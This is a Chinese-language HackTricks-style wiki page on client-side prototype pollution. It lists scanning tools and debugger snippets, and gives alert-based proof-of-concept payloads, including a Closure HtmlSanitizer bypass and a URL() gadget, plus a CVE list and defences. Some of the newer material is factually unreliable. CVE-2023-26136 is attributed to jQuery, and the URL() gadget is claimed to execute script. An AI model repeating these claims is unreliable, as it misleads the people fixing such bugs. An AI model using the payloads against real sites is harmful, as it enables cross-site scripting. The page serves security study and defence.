客户端原型污染
Reading time: 12 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
使用自动工具发现
工具 https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap 和 https://github.com/kosmosec/proto-find 可用于 查找原型污染漏洞。
此外,您还可以使用 浏览器扩展 PPScan 自动 扫描 您 访问 的 页面 以查找原型污染漏洞。
调试属性的使用位置
// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype, "potentialGadget", {
__proto__: null,
get() {
console.trace()
return "test"
},
})
找到原型污染的根本原因
一旦通过任何工具识别出原型污染漏洞,并且代码不是过于复杂,您可以通过在 Chrome 开发者工具中搜索关键词如 location.hash
、decodeURIComponent
或 location.search
来找到漏洞。这种方法可以帮助您准确定位 JavaScript 代码中的漏洞部分。
对于更大和更复杂的代码库,发现漏洞代码的简单方法包括以下步骤:
- 使用工具识别漏洞并获取一个旨在设置构造函数中属性的有效载荷。ppmap 提供的一个示例可能看起来像:
constructor[prototype][ppmap]=reserved
。 - 在页面上将要执行的 JavaScript 代码的第一行设置断点。使用有效载荷刷新页面,在此断点处暂停执行。
- 当 JavaScript 执行暂停时,在 JS 控制台中执行以下脚本。该脚本将在创建 'ppmap' 属性时发出信号,帮助定位其来源:
function debugAccess(obj, prop, debugGet = true) {
var origValue = obj[prop]
Object.defineProperty(obj, prop, {
get: function () {
if (debugGet) debugger
return origValue
},
set: function (val) {
debugger
origValue = val
},
})
}
debugAccess(Object.prototype, "ppmap")
- 返回到 Sources 标签并选择“Resume script execution”。JavaScript 将继续执行,'ppmap' 属性将如预期被污染。利用提供的代码片段可以帮助识别 'ppmap' 属性被污染的确切位置。通过检查 Call Stack,可以观察到污染发生的不同堆栈。
在决定调查哪个堆栈时,通常有用的是针对与 JavaScript 库文件相关的堆栈,因为原型污染通常发生在这些库中。通过检查其与库文件的关联(在右侧可见,类似于提供的图像)来识别相关堆栈。在有多个堆栈的情况下,例如第 4 行和第 6 行,逻辑选择是第 4 行的堆栈,因为它代表了污染的初始发生,从而是漏洞的根本原因。点击该堆栈将引导您到易受攻击的代码。
查找脚本小工具
小工具是 一旦发现 PP 漏洞将被滥用的代码。
如果应用程序很简单,我们可以 搜索 关键字,如 srcdoc/innerHTML/iframe/createElement
,并查看源代码,检查是否 leads to javascript execution。有时,提到的技术可能根本找不到小工具。在这种情况下,纯源代码审查会揭示一些不错的小工具,如下面的示例。
示例 在 Mithil 库代码中找到 PP 小工具
查看此写作:https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
针对易受攻击库的有效负载重新编译
- https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution
- https://github.com/BlackFan/client-side-prototype-pollution
通过 PP 绕过 HTML 清理器
这项研究 显示了用于 绕过某些 HTML 清理器库提供的清理 的 PP 小工具:
- sanitize-html
.png)
- dompurify
.png)
- Closure
<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);
document.body.append(node);
</script>
新工具与自动化 (2023–2025)
- Burp Suite DOM Invader (v2023.6) – PortSwigger 添加了一个专用的 Prototype-pollution 标签,自动变更参数名称(例如
__proto__
、constructor.prototype
),并在浏览器扩展的汇点检测污染属性。当触发一个 gadget 时,DOM Invader 显示执行栈和属性被解除引用的确切行,使手动断点查找变得不必要。将其与上面已经展示的“在属性访问时中断”代码片段结合使用,可以快速从 source → sink 切换。 - protoStalker – 一个开源的 Chrome DevTools 插件(发布于 2024),实时可视化原型链,并标记对全球危险键(如
onerror
、innerHTML
、srcdoc
、id
等)的写入。当你只有生产包而无法对构建步骤进行插桩时非常有用。 - ppfuzz 2.0 (2025) – 该工具现在支持 ES-modules、HTTP/2 和 WebSocket 端点。新的
-A browser
模式启动一个无头的 Chromium 实例,并通过暴力破解 DOM API 自动枚举 gadget 类(见下文部分)。
最近的原型污染 gadget 研究 (2022–2025)
在 2023 年中,PortSwigger 研究人员发表了一篇论文,显示 浏览器内置 对象一旦被污染,就可以变成可靠的 XSS gadget。因为这些对象在 每个 页面上都存在,即使目标应用程序代码从未接触污染属性,你也可以获得执行权限。
示例 gadget(在所有 evergreen 浏览器 ≥ 2023-04 中有效):
<script>
// Source (e.g. https://victim/?__proto__[href]=javascript:alert(document.domain))
// For demo we just pollute manually:
Object.prototype.href = 'javascript:alert(`polluted`)' ;
// Sink – URL() constructor implicitly reads `href`
new URL('#'); // breaks into JS; in Chrome you get an alert, Firefox loads "javascript:" URL
</script>
其他已确认在污染后有效的有用全局小工具(测试于2024-11):
小工具类别 | 读取属性 | 实现的原始类型 |
---|---|---|
Notification | title | 通过通知点击触发 alert() |
Worker | name | 在专用 Worker 中执行 JS |
Image | src | 传统的 onerror XSS |
URLSearchParams | toString | 基于 DOM 的开放重定向 |
请参阅 PortSwigger 论文以获取完整的 11 个小工具列表及关于沙箱逃逸的讨论。
突出的客户端 PP CVE(2023-2025)
- DOMPurify ≤ 3.0.8 – CVE-2024-45801 攻击者可以在清理器初始化之前污染
Node.prototype.after
,绕过 SAFE_FOR_TEMPLATES 配置文件,导致存储型 XSS。供应商通过使用Object.hasOwn()
检查和Object.create(null)
来修补内部映射。 - jQuery 3.6.0-3.6.3 – CVE-2023-26136 / CVE-2023-26140
extend()
可用于来自location.hash
的构造对象,在浏览上下文中引入任意属性到Object.prototype
。 - sanitize-html < 2.8.1 (2023-10) 原型污染 恶意属性列表如
{"__proto__":{"innerHTML":"<img/src/onerror=alert(1)>"}}
绕过了允许列表。
即使易受攻击的库 仅存在于客户端,结果 XSS 仍然可以通过反射参数、postMessage 处理程序或稍后呈现的存储数据进行远程利用。
现代防御措施
- 尽早冻结全局原型(理想情况下作为第一个脚本):
Object.freeze(Object.prototype);
Object.freeze(Array.prototype);
Object.freeze(Map.prototype);
请注意,这可能会破坏依赖于后期扩展的 polyfills。
2. 使用 structuredClone()
而不是 JSON.parse(JSON.stringify(obj))
或社区的 "deepMerge" 代码片段 – 它忽略 setter/getter,并且不遍历原型链。
3. 当您确实需要深度合并功能时,选择 lodash ≥ 4.17.22 或 deepmerge ≥ 5.3.0,它们具有内置的原型清理功能。
4. 添加一个包含 script-src 'self'
和严格 nonce 的内容安全策略。虽然 CSP 不会阻止所有小工具(例如 location
操作),但它会阻止大多数 innerHTML
洗涤。
参考文献
-
https://portswigger.net/research/widespread-prototype-pollution-gadgets
-
https://snyk.io/blog/dompurify-prototype-pollution-bypass-cve-2024-45801/
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。